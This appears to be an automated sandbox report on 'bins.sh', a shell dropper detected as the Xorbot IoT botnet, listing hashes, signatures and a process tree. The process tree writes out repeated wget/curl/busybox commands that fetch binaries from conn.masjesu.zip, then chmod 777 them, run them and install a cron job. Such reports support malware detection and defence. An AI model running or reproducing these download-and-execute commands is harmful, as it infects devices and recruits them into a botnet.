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Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/01/2025, 16:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    73038d9f40877b85f49e16128ffdaf66

  • SHA1

    f2b98009c97f70cb6466fb1ce5e93021e0fba41f

  • SHA256

    d4844e440caaa78afb7f2415c5bb03f71bf3cec56b0eead99c844c83a82a4cb9

  • SHA512

    faf7859d0639f62ec4141cf3186403f80d565e30257a13e191aa6bdb73195a0cb4df962bd42566ada0c620f4029ff6fe550e230d43fb0abf84573978d92b3dd2

  • SSDEEP

    96:YzPMxpPLTvuLoyoKo+59pddK+uGUDGD2Ds6Wf6/QMgL+T+v+vEEGn0n4n3aCl5RC:pW8bj+59NZyamvEEJhamvEEWbj+59B

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1711) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:717
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:748
        • /bin/chmod
          chmod 777 s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          ./s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Executes dropped EXE
          PID:753
        • /bin/rm
          rm s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
            PID:756
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:768
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:801
          • /bin/chmod
            chmod 777 oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • File and Directory Permissions Modification
            PID:832
          • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            ./oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Executes dropped EXE
            PID:833
          • /bin/rm
            rm oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
              PID:835
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:836
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:837
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:839
            • /bin/chmod
              chmod 777 cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • File and Directory Permissions Modification
              PID:840
            • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              ./cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Executes dropped EXE
              PID:841
            • /bin/rm
              rm cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
                PID:843
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:844
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:845
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:850
              • /bin/chmod
                chmod 777 APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • File and Directory Permissions Modification
                PID:851
              • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                ./APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:852
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:854
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:855
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:856
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:857
                    • /bin/rm
                      rm APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                      2⤵
                        PID:859
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                        • System Network Configuration Discovery
                        PID:862
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                        • System Network Configuration Discovery
                        PID:943
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:944
                      • /bin/chmod
                        chmod 777 wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                        • File and Directory Permissions Modification
                        PID:950
                      • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        ./wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                        • Executes dropped EXE
                        PID:951
                      • /bin/rm
                        rm wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                          PID:953
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                          2⤵
                          • System Network Configuration Discovery
                          PID:954

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /var/spool/cron/crontabs/tmp.lFIisk

                        Filesize

                        210B

                        MD5

                        5fa850bc674c3ca9c0bae43334e3f109

                        SHA1

                        80b3067d580adb2c68e2f62d3840b0553e5e26b1

                        SHA256

                        03fd41e3e7d47d2b776072195a61eabb3a312436f593784d197d553fb3356ba0

                        SHA512

                        e22fe7ce3478c82be81e52bd2766133bbd2e2c965d0d6ba36eec0cf95eb3fbebb237cf73c1591fb5af0102b522445b6016ad0323532a3011f48f0d6f0dc3615e